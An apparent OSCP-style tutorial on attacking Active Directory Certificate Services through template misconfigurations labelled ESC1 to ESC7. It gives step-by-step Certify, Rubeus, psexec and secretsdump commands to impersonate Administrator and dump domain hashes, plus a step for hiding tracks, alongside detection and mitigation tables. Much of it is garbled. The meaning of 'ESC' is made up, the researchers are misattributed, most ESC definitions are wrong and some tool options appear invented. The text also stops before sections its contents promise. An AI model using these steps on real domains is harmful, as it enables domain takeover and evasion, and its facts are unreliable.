Certificate-Based Authentication Attacks
Table of Contents
- AD CS and PKI Fundamentals
- What Are ESC Vulnerabilities?
- ESC1 - Vulnerable Certificate Template
- ESC2 - Misconfigured Certificate Template
- ESC3 - Enrollment Agent Template
- ESC4 - Misconfigured Issuance Policy
- ESC5 - Edit Attributes Without Enrollment
- ESC6 - Vulnerable Template + Enrollment Agent
- ESC7 - Authentication on Registration
- ESC8 - No Security Extension
- ESC Vulnerability Comparison Table
- AD CS Attack Methodology
- NTLM Relay to AD CS
- Tools Deep Dive
- OSCP Exam Relevance
- Lab Practice Suggestions
- Common Pitfalls and Troubleshooting
- Quick Reference
1. AD CS and PKI Fundamentals
1.1 What Is Active Directory Certificate Services (AD CS)?
Active Directory Certificate Services (AD CS) is Microsoft’s implementation of a Public Key Infrastructure (PKI) within an Active Directory environment. It allows organizations to issue, manage, and revoke digital certificates for authentication, encryption, and code signing purposes.
In an AD environment, certificates serve several critical functions:
- Smart card / certificate-based logon — Users authenticate with a certificate instead of (or in addition to) a password
- Computer authentication — Machines use certificates for secure communication (e.g., LDAP channel binding, SMB signing)
- Email signing and encryption — S/MIME certificates for internal email
- Web server authentication — IIS and other services use certificates for HTTPS
- Kerberos authentication — Since Windows 10 1809 / Server 2019, certificates can be used to obtain Kerberos TGTs (via the PKINIT extension)
1.2 PKI Components in AD CS
A PKI consists of the following core components:
| Component | Description |
|---|---|
| Certificate Authority (CA) | The server that issues, signs, and manages certificates. In AD CS, this is the enterprise CA integrated with AD. |
| Certificate Template | A blueprint that defines the properties of certificates (key usage, validity period, enrollment permissions, etc.). Templates control who can enroll and what the certificate can do. |
| Certificate Enrollment | The process by which a user or computer requests a certificate from the CA based on a template. |
| Certificate Store | Where issued certificates are stored (on the CA and in AD). |
| Certificate Revocation List (CRL) | A list of certificates that have been revoked before their expiration date. |
| Enrollment Service | The web-based or LDAP-based service that clients use to request certificates (CES — Certificate Enrollment Service, CESS — Certificate Enrollment Web Service). |
1.3 How Certificate-Based Authentication Works in AD
sequenceDiagram
participant User
participant AD_CS["AD CS (CA)"]
participant KDC
participant Target
Note over User,AD_CS: Phase 1: Certificate Issuance
User->>AD_CS: 1. Request certificate<br/>(based on template)
AD_CS-->>User: 2. Issue signed certificate<br/>(contains user identity)
Note over User,KDC: Phase 2: Kerberos Auth via Certificate (PKINIT)
User->>KDC: 3. AS-REQ with certificate<br/>(PKINIT extension)
KDC-->>User: 4. AS-REP with TGT
Note over User,Target: Phase 3: Service Access
User->>KDC: 5. TGS-REQ for target service
KDC-->>User: 6. Service ticket (TGS)
User->>Target: 7. Access service with ticket
The critical insight for attackers: If you can obtain a certificate for a high-privilege account (like Domain Admin), you can authenticate as that account to Kerberos and gain full domain access.
1.4 Certificate Templates — The Heart of AD CS Security
Certificate templates define the rules for certificate issuance. Key properties include:
| Property | Description | Attack Relevance |
|---|---|---|
| Subject Name | How the certificate’s subject (identity) is determined. Computed from request = attacker can specify any identity |
ESC1, ESC2, ESC3 |
| Enrollment Permissions | Which groups/users can enroll in this template | All ESC vulnerabilities |
| Key Usage / Extended Key Usage | What the certificate can be used for (authentication, signing, etc.) | Determines if cert can be used for Kerberos auth |
| Certificate Manager | Allows the holder to manage other certificates (act as enrollment agent) | ESC3 |
| Client Authentication EKU | Extended Key Usage OID 1.3.6.1.5.5.7.3.2 — required for Kerberos authentication |
Must be present for cert-to-be useful for auth attacks |
| Security Extension | AD-specific extension that maps certificate to AD account | ESC8 — if missing, any cert works |
| Enrollment Agent EKU | OID 1.3.6.1.4.1.311.20.2.1 — allows requesting certs on behalf of others |
ESC3, ESC6 |
1.5 Why AD CS Is a High-Value Attack Surface
AD CS is frequently overlooked by defenders because:
- It’s often deployed but rarely audited — Many organizations install AD CS for legitimate purposes but never review template configurations
- Default templates can be vulnerable — Some default templates (like
ComputerorUser) may have overly permissive enrollment rights - Misconfigurations are common — Admins frequently grant broad enrollment permissions without understanding the security implications
- It provides an alternative authentication path — Even if passwords are strong, a vulnerable certificate template can bypass password policies entirely
- Detection is difficult — Certificate enrollment generates different events than typical authentication, and many SIEMs don’t monitor for AD CS abuse
2. What Are ESC Vulnerabilities?
2.1 Background
The ESC (Easy Security Compromise) vulnerabilities were identified and categorized by security researchers @Sh3r4 and @leereilly. They represent common misconfigurations in AD CS that allow attackers to escalate privileges within an Active Directory domain.
The naming convention “ESC” stands for “Easy Security Compromise” — a tongue-in-cheek reference to how easily these misconfigurations can be exploited.
2.2 The ESC Vulnerability Framework
Each ESC represents a distinct attack vector:
| ESC | Category | Core Issue |
|---|---|---|
| ESC1 | Template Vulnerability | ENROLLEE_SUPPLIES_SUBJECT flag allows arbitrary subject |
| ESC2 | Template Vulnerability | No authorization to enroll — anyone can enroll |
| ESC3 | Enrollment Agent Abuse | Template has enrollment agent rights |
| ESC4 | Issuance Policy | Misconfigured issuance policy allows arbitrary enrollment |
| ESC5 | ACL Abuse | Write access to template allows modification |
| ESC6 | Combined Attack | ESC1/ESC2 template + enrollment agent rights |
| ESC7 | Authentication Bypass | No authentication required for enrollment |
| ESC8 | Missing Extension | No security extension — certificate-to-AD mapping broken |
2.3 How ESC Vulnerabilities Lead to Domain Compromise
The common thread across all ESC vulnerabilities:
graph LR
A[ESC Vulnerability] --> B[Obtain Certificate<br/>for High-Privilege Account]
B --> C[Authenticate to Kerberos<br/>via PKINIT]
C --> D[Request TGT as<br/>Domain Admin]
D --> E[Access Any Service<br/>in the Domain]
E --> F[Full Domain Compromise]
The attack chain is always:
- Exploit the misconfiguration to obtain a certificate for a target account
- Use the certificate to authenticate to Kerberos (PKINIT)
- Request service tickets as the target account
- Access resources with the target account’s privileges
3. ESC1 - Vulnerable Certificate Template
3.1 Vulnerability Explanation
ESC1 occurs when a certificate template has the ENROLLEE_SUPPLIES_SUBJECT flag enabled. This flag tells the CA: “Trust the requester to specify their own identity in the certificate subject field.”
Normally, when a user requests a certificate, the CA computes the subject from the requesting user’s AD identity. With this flag, the requester can specify any subject — including CN=Administrator,CN=Users,DC=domain,DC=com.
Why This Is Dangerous
- The CA signs the certificate, making it cryptographically valid
- Kerberos accepts the certificate and issues a TGT for the specified identity
- No password knowledge is required for the target account
- The attacker becomes the target account at the Kerberos level
Technical Details
The ENROLLEE_SUPPLIES_SUBJECT flag is stored in the template’s pKI Certificate Application Policies and corresponds to the CERT_SUBJECT_SUPPLIED flag (value 0x00000002) in the CertificateTemplate::Flags property.
For ESC1 to be exploitable, the following conditions must ALL be met:
- The template has
ENROLLEE_SUPPLIES_SUBJECTenabled - The attacker’s group has Enroll (or Auto Enroll) rights on the template
- The template’s Extended Key Usage (EKU) includes Client Authentication (
1.3.6.1.5.5.7.3.2) — OR the template has no EKU restrictions (anyPurpose) - The CA is configured to issue certificates based on this template
3.2 Prerequisites
| Requirement | Details |
|---|---|
| Domain account | Any domain user account with network access |
| Enrollment rights | The attacker’s group must have Enroll or Auto Enroll ACE on the vulnerable template |
| AD CS deployed | An enterprise CA must be running and accessible |
| Client Authentication EKU | The template must allow client authentication (or be anyPurpose) |
3.3 Attack Flow
sequenceDiagram
participant Attacker
participant Certify
participant CA
participant Rubeus
participant KDC
participant Target
Note over Attacker,Certify: Phase 1: Reconnaissance
Attacker->>Certify: Certify.exe find /vuln
Certify-->>Attacker: ESC1 detected on template X
Note over Attacker,CA: Phase 2: Certificate Request
Attacker->>CA: Request cert with subject="CN=Administrator,..."
CA-->>Attacker: Issue signed certificate (cert.pfx)
Note over Attacker,KDC: Phase 3: Kerberos Authentication
Attacker->>Rubeus: asktgs /certificate:cert.pfx /service:cifs/dc01
Rubeus->>KDC: TGS-REQ with certificate
KDC-->>Rubeus: TGS ticket for Administrator
Rubeus-->>Attacker: ticket.kirbi
Note over Attacker,Target: Phase 4: Access
Attacker->>Rubeus: ptt /ticket:ticket.kirbi
Attacker->>Target: Access as Administrator
3.4 Step-by-Step Exploitation
Step 1: Identify the CA Server
# Find the CA from AD
Get-ADObject -LDAPFilter "(certificateAuthorities=*)" -SearchBase "CN=Configuration,DC=domain,DC=com"
# Or use Certify
Certify.exe find /ca
Step 2: Find Vulnerable Templates
# Scan for all ESC vulnerabilities
Certify.exe find /vuln
# Expected output for ESC1:
# [*] PM2 - ESC1: Vulnerable Certificate Template
# Template Name : VulnerableTemplate
# Schema Version : 1
# Certificate Name : Supplied by the user
# Enrollment Agent : False
# Any Purpose : True
# Client Auth : True
# Enrollee Supplies Subject : True
# ACL Bypass : False
# CA : DC01.domain.com\domain-DC01-CA
# CA Has RPC Anonymous Access : False
# Rights :
# + Domain Users : Enrollment
Step 3: Request a Certificate for a High-Privilege User
# Request a certificate specifying Administrator as the subject
Certify.exe request /ca:DC01.domain.com\domain-DC01-CA `
/template:VulnerableTemplate `
/subject:"CN=Administrator,CN=Users,DC=domain,DC=com"
# Output:
# [+] Request submitted successfully
# [+] Certificate saved to: cert.pfx
Step 4: Authenticate Using the Certificate
# Method 1: Using Rubeus to get a TGS ticket
Rubeus.exe asktgs /service:cifs/DC01.domain.com `
/certificate:cert.pfx /password:password `
/outfile:admin_ticket.kirbi
# Method 2: Using Rubeus to get a TGT directly (PKINIT)
Rubeus.exe asktgt /certificate:cert.pfx /password:password /ptt
# Method 3: Using Rubeus asktgs for a specific service
Rubeus.exe asktgs /service:host/DC01.domain.com `
/certificate:cert.pfx /password:password /ptt
Step 5: Access Target Resources
# Verify the ticket is injected
klist
# Access the domain controller
dir \\DC01.domain.com\C$
# Or use psexec
psexec.py domain.com/Administrator@DC01.domain.com -k -no-pass
# DCSync to get all hashes
secretsdump.py domain.com/Administrator@DC01.domain.com -k -no-pass
3.5 Detection
| Detection Method | Details |
|---|---|
| Event ID 4887 | Kerberos authenticated certificate was issued — monitor for certificates issued with unexpected subjects |
| Event ID 4886 | Certificate was requested — check the subject field matches the requester |
| Event ID 4768 | TGT issued via PKINIT — correlate with certificate issuance events |
| Certify scanning | Run Certify.exe find /vuln regularly to detect ESC1 templates |
| BloodHound | Use the CPG (Certificate Property Graph) collector to map certificate attack paths |
3.6 Mitigation
| Mitigation | Implementation |
|---|---|
| Remove ENROLLEE_SUPPLIES_SUBJECT | Edit the template and uncheck “Subject name: Supplied in the request” |
| Restrict enrollment rights | Remove Enroll rights from Domain Users — grant only to specific groups that need it |
| Require manager approval | Enable “Pending Request” mode so a CA administrator must approve each request |
| Audit templates regularly | Use Certify.exe find /vuln or automated scripts to scan for ESC vulnerabilities |
| Enable Client Authentication EKU restrictions | Ensure templates that don’t need client auth don’t have the EKU |
4. ESC2 - Misconfigured Certificate Template
4.1 Vulnerability Explanation
ESC2 occurs when a certificate template is published to a CA but has no authorization requirements for enrollment. This means any domain user can enroll in the template, regardless of their group membership.
The key difference from ESC1:
- ESC1: The template has
ENROLLEE_SUPPLIES_SUBJECT— the attacker can specify any subject - ESC2: The template has no enrollment restrictions — anyone can enroll, and the subject is computed from the requester’s identity (but if combined with other flags, this can still be abused)
In practice, ESC2 is often found alongside ESC1 — a template that both allows arbitrary subjects AND has open enrollment. But ESC2 can also refer to templates where the pKIExpirationPeriod or pKIOverlapPeriod is misconfigured, or where the template’s ACL is missing entirely.
Technical Details
A template is vulnerable to ESC2 when:
- The template is published to the CA (appears in the
Certificate Templatescontainer) - The template’s ACL has no
Denyentries for enrollment - The template allows
EnrollforAuthenticated Usersor has no explicitEnrollACE (inheriting from parent) - The template’s
Subject Nameis set toSupplied in the request(making it also ESC1)
4.2 Prerequisites
| Requirement | Details |
|---|---|
| Domain account | Any authenticated domain user |
| Open enrollment | The template must allow enrollment by the attacker’s group (or Authenticated Users) |
| AD CS deployed | An enterprise CA must be running |
4.3 Attack Flow
sequenceDiagram
participant Attacker
participant Certify
participant CA
participant Rubeus
participant KDC
Note over Attacker,Certify: Phase 1: Find ESC2 Template
Attacker->>Certify: Certify.exe find /vuln
Certify-->>Attacker: ESC2: Template with no auth requirements
Note over Attacker,CA: Phase 2: Enroll
Attacker->>CA: Enroll in the template<br/>(no special rights needed)
CA-->>Attacker: Certificate issued
Note over Attacker,KDC: Phase 3: Kerberos Auth
Attacker->>Rubeus: asktgt /certificate:cert.pfx /ptt
Rubeus->>KDC: AS-REQ with certificate
KDC-->>Rubeus: TGT issued
4.4 Step-by-Step Exploitation
# Step 1: Identify the vulnerable template
Certify.exe find /vuln
# Look for ESC2 indicators:
# [*] PM2 - ESC2: Misconfigured Certificate Template
# Template Name : OpenTemplate
# Enrollment Agent : False
# Any Purpose : True
# Client Auth : True
# Enrollee Supplies Subject : True
# ACL Bypass : True <-- No authorization needed
# Step 2: Request a certificate (any domain user can enroll)
Certify.exe request /ca:DC01.domain.com\domain-DC01-CA `
/template:OpenTemplate `
/subject:"CN=Administrator,CN=Users,DC=domain,DC=com"
# Step 3: Authenticate with the certificate
Rubeus.exe asktgt /certificate:cert.pfx /password:password /ptt
# Step 4: Access resources as the target
klist
dir \\DC01.domain.com\C$
4.5 Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor Event ID 4886 for enrollments from unexpected users | Review and restrict enrollment ACLs on all templates |
Use Certify.exe find to detect open templates |
Remove Authenticated Users from enrollment rights |
| BloodHound CPG collector for template mapping | Enable “Ca Require Certificate Requestor to Supply Subject” only for admin-controlled templates |
| Alert on certificate requests for high-privilege subjects | Implement certificate request approval workflows |
5. ESC3 - Enrollment Agent Template
5.1 Vulnerability Explanation
ESC3 is widely considered the most dangerous ESC vulnerability. It occurs when a certificate template has the Enrollment Agent Extended Key Usage (EKU) — specifically OID 1.3.6.1.4.1.311.20.2.1.
An Enrollment Agent certificate allows the holder to request certificates on behalf of other users. This is a legitimate feature designed for scenarios where:
- A help desk admin needs to renew certificates for users
- A service account needs to obtain certificates for computers it manages
- A smart card enrollment workstation needs to issue cards for multiple users
When misconfigured, an attacker who can enroll in an Enrollment Agent template can:
- Obtain an Enrollment Agent certificate for themselves
- Use that certificate to request a certificate for any user (including Domain Admin)
- Authenticate as that user via Kerberos
Why ESC3 Is So Powerful
- It doesn’t require
ENROLLEE_SUPPLIES_SUBJECT— the enrollment agent right bypasses the need - The attacker requests a certificate on behalf of the target, so the subject is correctly set by the CA
- The CA treats the request as legitimate because it comes from a valid enrollment agent
- Combined with
CERTIFICATE_MANAGERrights, the attacker has near-unlimited certificate manipulation power
5.2 Prerequisites
| Requirement | Details |
|---|---|
| Domain account | Any user with enrollment rights on the Enrollment Agent template |
| Enrollment Agent EKU | The template must have OID 1.3.6.1.4.1.311.20.2.1 |
| Client Authentication EKU | The template must also allow client authentication (or be anyPurpose) |
| AD CS deployed | An enterprise CA must be running |
5.3 Attack Flow
sequenceDiagram
participant Attacker
participant Certify
participant CA
participant Rubeus
participant KDC
participant DC
Note over Attacker,Certify: Phase 1: Find Enrollment Agent Template
Attacker->>Certify: Certify.exe find /vuln
Certify-->>Attacker: ESC3: Enrollment Agent template found
Note over Attacker,CA: Phase 2: Get Enrollment Agent Cert
Attacker->>CA: Request enrollment agent cert<br/>(for self)
CA-->>Attacker: Enrollment agent certificate (agent.pfx)
Note over Attacker,CA: Phase 3: Request Cert on Behalf of DA
Attacker->>CA: Request User template cert<br/>on behalf of Administrator<br/>using agent.pfx
CA-->>Attacker: Certificate for Administrator (admin.pfx)
Note over Attacker,DC: Phase 4: Full Domain Compromise
Attacker->>Rubeus: asktgt /certificate:admin.pfx /ptt
Rubeus->>KDC: AS-REQ as Administrator
KDC-->>Rubeus: TGT for Administrator
Attacker->>DC: DCSync / Full access
5.4 Step-by-Step Exploitation
Step 1: Identify the Enrollment Agent Template
# Scan for vulnerabilities
Certify.exe find /vuln
# Look for ESC3 indicators:
# [*] PM2 - ESC3: Enrollment Agent Template
# Template Name : EnrollmentAgent
# Enrollment Agent : True <-- Key indicator
# Client Auth : True
# Enrollee Supplies Subject : True
# Rights:
# + Domain Users : Enrollment
Step 2: Request an Enrollment Agent Certificate
# Request the enrollment agent certificate for yourself
Certify.exe request /ca:DC01.domain.com\domain-DC01-CA `
/template:EnrollmentAgent
# Output:
# [+] Request submitted successfully
# [+] Certificate saved to: agent_cert.pfx
Step 3: Request a Certificate on Behalf of Domain Admin
# Use the enrollment agent certificate to request a cert for Administrator
Certify.exe request /ca:DC01.domain.com\domain-DC01-CA `
/template:User `
/onbehalfof:"domain\Administrator" `
/certificate:agent_cert.pfx
# Output:
# [+] Request submitted successfully
# [+] Certificate saved to: admin_cert.pfx
Step 4: Authenticate as Domain Admin
# Method 1: Rubeus asktgt (get TGT directly)
Rubeus.exe asktgt /certificate:admin_cert.pfx /password:password /ptt
# Method 2: Rubeus asktgs (get service ticket)
Rubeus.exe asktgs /service:cifs/DC01.domain.com `
/certificate:admin_cert.pfx /password:password /ptt
# Verify
klist
# Access domain controller
dir \\DC01.domain.com\C$
# DCSync for full domain compromise
python3 secretsdump.py domain.com/Administrator@DC01.domain.com -k -no-pass
5.5 Detection
| Detection Method | Details |
|---|---|
| Event ID 4886 | Certificate request with on behalf of flag — the RequesterName differs from the Subject |
| Event ID 4887 | Certificate issued with enrollment agent context |
| Event ID 4768 | TGT issued for high-privilege account via PKINIT from unusual source |
| BloodHound | CPG collector will show enrollment agent paths to high-value accounts |
| Certify audit | Regular Certify.exe find /vuln scans |
5.6 Mitigation
| Mitigation | Implementation |
|---|---|
| Remove Enrollment Agent EKU | Edit the template and remove OID 1.3.6.1.4.1.311.20.2.1 from Extended Key Usage |
| Restrict enrollment | Only grant enrollment rights to specific admin accounts that genuinely need it |
| Require approval | Enable pending request mode for enrollment agent templates |
| Monitor usage | Alert on any certificate request made “on behalf of” another user |
| Separate CAs | Use a dedicated CA for enrollment agent operations with strict access controls |
6. ESC4 - Misconfigured Issuance Policy
6.1 Vulnerability Explanation
ESC4 occurs when a certificate template’s Issuance Policy is misconfigured. Issuance policies are a mechanism in AD CS that allows a CA to apply additional rules beyond the template’s own settings.
An issuance policy can:
- Restrict which users/groups can enroll
- Require additional conditions for certificate issuance
- Map certificates to specific AD attributes
When misconfigured, an issuance policy might allow enrollment by any user while the template itself appears restricted. The CA follows the issuance policy rules, which can override the template’s ACL.
Technical Details
The issuance policy is stored in the pKI Certificate Application Policies extension. A misconfiguration occurs when:
- The issuance policy OID is present but not properly restricted
- The policy allows
Authenticated UsersorDomain Usersto enroll - The policy is linked to a template that has Client Authentication EKU
6.2 Prerequisites
| Requirement | Details |
|---|---|
| Domain account | Any user matching the issuance policy’s allowed groups |
| Misconfigured policy | The issuance policy must allow the attacker’s group to enroll |
| AD CS deployed | An enterprise CA with the policy configured |
6.3 Attack Flow
sequenceDiagram
participant Attacker
participant Certify
participant CA
participant Rubeus
participant KDC
Note over Attacker: Phase 1: Identify Policy Misconfiguration
Attacker->>Certify: Certify.exe find /vuln
Certify-->>Attacker: ESC4: Issuance policy allows enrollment
Note over Attacker,CA: Phase 2: Enroll via Policy
Attacker->>CA: Request cert via issuance policy
CA-->>Attacker: Certificate issued
Note over Attacker,KDC: Phase 3: Kerberos Auth
Attacker->>Rubeus: asktgt /certificate:cert.pfx /ptt
Rubeus->>KDC: AS-REQ with certificate
KDC-->>Rubeus: TGT
6.4 Step-by-Step Exploitation
# Step 1: Find templates with misconfigured issuance policies
Certify.exe find /vuln
# Look for ESC4:
# [*] PM2 - ESC4: Misconfigured Issuance Policy
# Template Name : PolicyTemplate
# Issuance Policy : {OID:1.3.6.1.4.1.311.21.8.9999}
# Step 2: Request a certificate
Certify.exe request /ca:DC01.domain.com\domain-DC01-CA `
/template:PolicyTemplate `
/subject:"CN=Administrator,CN=Users,DC=domain,DC=com"
# Step 3: Authenticate
Rubeus.exe asktgt /certificate:cert.pfx /password:password /ptt
# Step 4: Access as Administrator
klist
dir \\DC01.domain.com\C$
6.5 Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Audit issuance policy configurations on all CAs | Review and restrict issuance policy OIDs |
| Monitor Event ID 4886 for policy-based enrollments | Remove unnecessary issuance policies |
Use Certify.exe find regularly |
Ensure issuance policies match template ACLs |
| BloodHound CPG for policy mapping | Document all issuance policies and their purposes |
7. ESC5 - Edit Attributes Without Enrollment
7.1 Vulnerability Explanation
ESC5 occurs when an attacker has write access (GenericWrite, WriteDacl, or ControlAccess) to a certificate template object in Active Directory, but does NOT have enrollment rights on that template.
The attack is two-phase:
- Modify the template — Add the
ENROLLEE_SUPPLIES_SUBJECTflag or change the ACL to allow the attacker to enroll - Exploit the modified template — Enroll and request a certificate for a high-privilege user
This is one of the most common ESC vulnerabilities because:
- Default computer accounts have
WriteDaclon their own computer object - If a computer account is linked to a template, the attacker can modify the template
- Group membership changes can grant write access without obvious indicators
Technical Details
The pKI Certificate Application Policies and pKIExtendedKeyUsage attributes on the template object can be modified by anyone with GenericWrite or WriteProperty access. The critical flags are stored in the CertificateTemplate::pKIFlags attribute.
To modify pKIFlags to add ENROLLEE_SUPPLIES_SUBJECT:
- Current flags: Read the existing
pKIFlagsvalue - New flags: OR the current value with
0x00000002(CERT_SUBJECT_SUPPLIED) - Write: Update the
pKIFlagsattribute on the template object
7.2 Prerequisites
| Requirement | Details |
|---|---|
| Write access to template | GenericWrite, WriteDacl, WriteProperty, or GenericAll on the template object |
| Template must be published | The template must be published to a CA that the attacker can access |
| Enrollment rights | After modification, the attacker needs enrollment rights (or modifies ACL to grant them) |
| AD CS deployed | An enterprise CA must be running |
7.3 Attack Flow
sequenceDiagram
participant Attacker
participant Certify
participant AD
participant CA
participant Rubeus
participant KDC
Note over Attacker,Certify: Phase 1: Find Modifiable Template
Attacker->>Certify: Certify.exe find /vuln
Certify-->>Attacker: ESC5: Template X is modifiable
Note over Attacker,AD: Phase 2: Modify Template
Attacker->>AD: Add ENROLLEE_SUPPLIES_SUBJECT flag<br/>to template's pKIFlags
Note over Attacker: Template now vulnerable to ESC1
Note over Attacker,CA: Phase 3: Exploit Modified Template
Attacker->>CA: Request cert with arbitrary subject
CA-->>Attacker: Certificate for target account
Note over Attacker,KDC: Phase 4: Kerberos Auth
Attacker->>Rubeus: asktgt /certificate:cert.pfx /ptt
Rubeus->>KDC: AS-REQ as target
KDC-->>Rubeus: TGT for target account
7.4 Step-by-Step Exploitation
Step 1: Identify Modifiable Templates
# Find all ESC vulnerabilities (includes ESC5)
Certify.exe find /vuln
# Look for ESC5 indicators:
# [*] PM2 - ESC5: Edit Attributes Without Enrollment
# Template Name : ModifiableTemplate
# ACL Bypass : False
# Rights:
# + ATTACKER_USER : WriteProperty <-- Key indicator
# Alternative: Check specific template ACLs
Certify.exe find /config
Step 2: Modify the Template
# Method 1: Using Certify to add the flag
Certify.exe modify /template:ModifiableTemplate `
/addflag:ENROLLEE_SUPPLIES_SUBJECT
# Method 2: Using PowerShell to modify pKIFlags directly
Import-Module ActiveDirectory
$template = Get-ADObject -Identity "CN=ModifiableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" -Properties pKIFlags
# Current flags
Write-Host "Current pKIFlags: $($template.pKIFlags)"
# Add ENROLLEE_SUPPLIES_SUBJECT (0x2)
$newFlags = $template.pKIFlags -bor 0x2
Set-ADObject -Identity $template.DistinguishedName -Replace @{pKIFlags=$newFlags}
Write-Host "New pKIFlags: $newFlags"
Step 3: Enroll in the Modified Template
# Now the template is vulnerable to ESC1 — request a cert for Administrator
Certify.exe request /ca:DC01.domain.com\domain-DC01-CA `
/template:ModifiableTemplate `
/subject:"CN=Administrator,CN=Users,DC=domain,DC=com"
# Output:
# [+] Request submitted successfully
# [+] Certificate saved to: cert.pfx
Step 4: Authenticate and Access
# Authenticate as Administrator
Rubeus.exe asktgt /certificate:cert.pfx /password:password /ptt
# Verify
klist
# Access resources
dir \\DC01.domain.com\C$
# DCSync
python3 secretsdump.py domain.com/Administrator@DC01.domain.com -k -no-pass
Step 5: Clean Up (Optional — for stealth)
# Remove the flag you added (to cover tracks)
Certify.exe modify /template:ModifiableTemplate `
/removeflag:ENROLLEE_SUPPLIES_SUBJECT
# Or via PowerShell
$template = Get-ADObject -Identity "CN=ModifiableTemplate,..." -Properties pKIFlags
$originalFlags = $template.pKIFlags -bxor 0x2
Set-ADObject -Identity $template.DistinguishedName -Replace @{pKIFlags=$originalFlags}
7.5 Detection
| Detection Method | Details |
|---|---|
| Event ID 5136 | Directory service object was modified — monitor for changes to certificate template objects |
| Event ID 5137 | Directory service object was created — monitor for new templates |
| Event ID 5138 | Directory service object was deleted — monitor for template deletion |
| Certify audit | Regular Certify.exe find /vuln scans will detect ESC5 |
| BloodHound | CPG collector shows write access paths to templates |
| SACL auditing | Enable SACL on certificate template objects to log access |
7.6 Mitigation
| Mitigation | Implementation |
|---|---|
| Restrict template ACLs | Remove GenericWrite and WriteDacl from non-admin accounts on templates |
| Enable SACL auditing | Set System Access Control Lists on template objects to log modifications |
| Monitor Event 5136 | Alert on modifications to objects in the Certificate Templates container |
| Regular audits | Use Certify.exe find /vuln on a scheduled basis |
| Principle of least privilege | Ensure only CA administrators can modify templates |
8. ESC6 - Vulnerable Template + Enrollment Agent
8.1 Vulnerability Explanation
ESC6 is a combination attack that chains ESC1 or ESC2 with Enrollment Agent rights. It occurs when:
- A template is vulnerable to ESC1 (has
ENROLLEE_SUPPLIES_SUBJECT) or ESC2 (open enrollment) - The same template (or another accessible template) also has Enrollment Agent EKU
This creates a two-step attack:
- Step 1: Use the vulnerable template to get a certificate
- Step 2: If the certificate has Enrollment Agent rights, use it to request certificates for any user
Alternatively, ESC6 can refer to a scenario where:
- The attacker can enroll in a template that has
ENROLLEE_SUPPLIES_SUBJECT - The attacker specifies a subject that includes Enrollment Agent EKU
- The resulting certificate can be used to request certs on behalf of others
Why ESC6 Is Significant
ESC6 represents the convergence of multiple misconfigurations. Even if no single template is fully exploitable on its own, the combination creates a path to domain compromise. This is why comprehensive scanning (rather than looking at individual templates in isolation) is essential.
8.2 Prerequisites
| Requirement | Details |
|---|---|
| Domain account | Any user with enrollment rights on the vulnerable template |
| Vulnerable template | ESC1 or ESC2 vulnerable template accessible to the attacker |
| Enrollment Agent EKU | The template (or a reachable template) must have Enrollment Agent EKU |
| AD CS deployed | An enterprise CA must be running |
8.3 Attack Flow
sequenceDiagram
participant Attacker
participant Certify
participant CA
participant Rubeus
participant KDC
Note over Attacker: Phase 1: Get Vulnerable Template Cert
Attacker->>CA: Request cert from ESC1/ESC2 template
CA-->>Attacker: Certificate with Enrollment Agent EKU
Note over Attacker: Phase 2: Use as Enrollment Agent
Attacker->>CA: Request cert for Administrator<br/>on behalf of, using agent cert
CA-->>Attacker: Certificate for Administrator
Note over Attacker,KDC: Phase 3: Kerberos Auth
Attacker->>Rubeus: asktgt /certificate:admin_cert.pfx /ptt
Rubeus->>KDC: AS-REQ as Administrator
KDC-->>Rubeus: TGT for Administrator
8.4 Step-by-Step Exploitation
# Step 1: Find the combined vulnerability
Certify.exe find /vuln
# Look for ESC6:
# [*] PM2 - ESC6: Vulnerable Template + Enrollment Agent
# Template Name : CombinedTemplate
# Enrollment Agent : True
# Enrollee Supplies Subject : True
# Step 2: Request the enrollment agent certificate
Certify.exe request /ca:DC01.domain.com\domain-DC01-CA `
/template:CombinedTemplate
# Step 3: Use it to request a cert for Administrator
Certify.exe request /ca:DC01.domain.com\domain-DC01-CA `
/template:User `
/onbehalfof:"domain\Administrator" `
/certificate:agent_cert.pfx
# Step 4: Authenticate as Administrator
Rubeus.exe asktgt /certificate:admin_cert.pfx /password:password /ptt
klist
dir \\DC01.domain.com\C$
8.5 Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor for templates that have both ESC1/ESC2 flags AND Enrollment Agent EKU | Never combine ENROLLEE_SUPPLIES_SUBJECT with Enrollment Agent EKU |
| BloodHound CPG for combined attack paths | Separate enrollment agent templates from user-enrollable templates |
Certify.exe find /vuln will flag ESC6 explicitly |
Restrict enrollment agent templates to dedicated admin groups only |
| Alert on enrollment agent certificate usage | Require manager approval for enrollment agent certificate requests |
9. ESC7 - Authentication on Registration
9.1 Vulnerability Explanation
ESC7 occurs when a CA is configured to allow unauthenticated certificate enrollment. This means an attacker on the network can request a certificate without any valid domain credentials.
This is typically caused by:
- The CA’s IIS-based Certificate Enrollment Web Service (CESS) is misconfigured to allow anonymous access
- The CA’s RPC interface allows anonymous bindings
- The IIS application pool for the enrollment service runs under an account with enrollment rights
Why This Is Critical
- No credentials needed — The attacker doesn’t even need a domain account
- Network access is sufficient — Being on the same network segment is enough
- Full domain compromise possible — If the attacker can request a cert for a high-privilege account
9.2 Prerequisites
| Requirement | Details |
|---|---|
| Network access | Access to the CA server’s enrollment endpoint (HTTP/HTTPS or RPC) |
| Anonymous access enabled | The CA must be configured to accept unauthenticated requests |
| Vulnerable template | A template that allows the requested certificate type must be available |
9.3 Attack Flow
sequenceDiagram
participant Attacker
participant CA
participant Rubeus
participant KDC
Note over Attacker: No credentials required!
Note over Attacker,CA: Phase 1: Unauthenticated Enrollment
Attacker->>CA: HTTP POST to enrollment endpoint<br/>(no authentication)
CA-->>Attacker: Certificate issued
Note over Attacker,KDC: Phase 2: Kerberos Auth
Attacker->>Rubeus: asktgt /certificate:cert.pfx /ptt
Rubeus->>KDC: AS-REQ with certificate
KDC-->>Rubeus: TGT for target account
9.4 Step-by-Step Exploitation
# Step 1: Check for anonymous access
Certify.exe find /vuln
# Look for ESC7:
# [*] PM2 - ESC7: Authentication on Registration
# CA : DC01.domain.com\domain-DC01-CA
# CA Has RPC Anonymous Access : True
# Step 2: Request a certificate without authentication
Certify.exe request /ca:DC01.domain.com\domain-DC01-CA `
/template:User `
/subject:"CN=Administrator,CN=Users,DC=domain,DC=com" `
/noauth
# Step 3: Authenticate with the certificate
Rubeus.exe asktgt /certificate:cert.pfx /password:password /ptt
# Step 4: Full domain access
klist
dir \\DC01.domain.com\C$
